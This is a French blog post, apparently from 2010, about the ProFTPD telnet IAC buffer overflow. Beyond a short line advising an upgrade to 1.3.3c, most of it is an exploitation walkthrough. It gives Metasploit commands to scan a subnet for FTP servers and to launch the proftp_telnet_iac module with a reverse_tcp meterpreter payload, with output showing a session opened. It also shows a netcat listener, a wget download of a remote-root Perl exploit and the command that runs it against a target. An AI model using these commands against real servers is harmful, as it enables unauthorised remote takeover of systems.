La faille telnet IAC dans ProFTPD
Une nouvelle faille de sécurité a été découverte dans le serveur de fichiers ProFTPD. Elle peut permettre à une personne malveillante de prendre le contrôle du serveur à distance. La seule méthode efficace pour contrer ce type d'attaque est de mettre à jour votre serveur en version 1.3.3c ou supérieure.
Cette version corrige également une vulnérabilité de type "directory traversal" dans le module mod_site_misc (non activé par défaut).
Pour ce qui est de la faille principale, cette dernière se situe dans la fonction pr_netio_telnet_gets() du code source. Ainsi, si l'on envoie un trop grand nombre de commandes telnet IAC à un serveur ProFTPD, cela provoque un buffer overflow et permet d'exécuter du code arbitraire à distance.
Attention, la suite de cet article suppose que vous connaissez déjà le fonctionnement de Metasploit
Rechercher les serveurs FTP d'un réseau avec Metasploit
Si vous souhaitez rechercher tous les serveurs FTP d'un réseau, il suffit d'utiliser le module ftp_version de Metasploit comme ceci :
msf > use scanner/ftp/ftp_version
msf > info
msf > set RHOSTS 192.168.0.1-192.168.0.255
msf > set THREADS 50
msf > exploit
Vous obtiendrez ainsi la liste de tous les serveurs FTP actifs. La plupart du temps, la version et le nom du serveur FTP sont cachés, ce qui rend un peu plus compliqué la recherche d'un serveur d'un type bien particulier (ex: ProFTPD).
Metasploit et la faille telnet IAC dans ProFTPD
Pour exploiter la faille telnet IAC de ProFTPD, il suffit d'utiliser l'un des exploits fournis dans Metasploit. Dans notre exemple, nous allons nous attaquer ici à la machine 192.168.0.101 :
msf > search telnet_iac
msf > use linux/ftp/proftp_telnet_iac
msf > info
msf > set RHOST 192.168.0.101
msf > set RPORT 21
msf > show targets
msf > set TARGET 0
msf > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100
Le module étant correctement configuré, on peut lancer l'attaque :
msf > exploit
[*] Started reverse handler on 192.168.56.100:4444
[*] Connecting to FTP server 192.168.56.101:21...
[*] Connected to target FTP server.
[*] Automatically detecting the target...
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (Debian) [192.168.56.101]
[*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
[*] Your payload should have executed now...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1363968 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.100:4444 → 192.168.56.101:49066) at Sun Nov 07 16:29:22 +0100 2010
On ouvre ensuite un accès sur la machine distante :
msf > sessions -i 1
L'inconvénient du module Metasploit est qu'il est capable d'attaquer un nombre limité de cibles :
msf > show targets
0 - Automatic Targeting (default)
1 - Debug
2 - ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
3 - ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)
Il existe un module pour la version FreeBSD (use linux/ftp/proftp_telnet_iac), mais pour les autres système, il faudra utiliser d'autres méthodes.
Un autre exploit pour la faille telnet IAC dans ProFTPD
Kingcope a mis en ligne, le 7 novembre 2010, un script Perl qui permet d'exploiter cette faille sur un nombre plus important de plateformes :
- FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)
- FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)
- Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)
- Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)
- Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)
- Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)
- SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)
- SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)
- SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)
- SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)
- SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)
- SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)
- CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)
Voici un exemple d'utilisation. Tout d'abord, on met netcat en écoute sur le port 45295 :
nc -l 45295
Puis dans un autre shell, on lance l'exploit :
netstat -pan | grep 45295
wget www.tux-planet.fr/public/hack/exploits/proftpd/proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl 192.168.1.101 192.168.100 5
Ce qui affichera quelque chose comme ceci :
[192.168.56.101] Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary) :pP align = 4101 Seeking for write(2).. Using write offset 080532d8. SUCCESS. write(2) is at 080532d8 Reading memory from server... pop pop pop ret located at 0805462e large pop ret located at 08059a09 mmap64 is located at 08053d18 memcpy is located at 080536c8 byte1: 0805a056 byte2: 0805341a byte3: 08053f8b byte4: 080596b3 byte5: 08053314 byte6: 0806a7d8 byte7: 08053c35 byte8: 080532da byte9: 08054535 Building exploit buffer Sending exploit buffer! Check your netcat? done.
PS : chez moi, cet exploit ne marche pas trop, mais l'idée est là. A noter, que sous Ubutnu, le script perl génère une erreur (Can't call method "sockopt"). Par contre, sous Fedora il n'y a pas de problème...
3 Commentaires pour "La faille telnet IAC dans ProFTPD"
Flux des commentaires de cet article Ajouter un commentaireLe plus triste c'est qu'une version est sortie pour corriger le problème et que le paquet sur la 10.04 (LTS d'Ubuntu) n'a pas été mis à jours...
@c4software : on peut lire ceci quand on fait un info sur le module linux/ftp/proftp_telnet_iac Metasploit :
Donc en gros, toutes les distributions Linux ne sont pas forcément vulnérable. Il faut que ProFTPD soit compilé sans la protection "Stack smashing" par exemple...
Ah j'avais pas vu la petite note. Faudrai que je test alors vers un proftpd d'une ubuntu 10.04.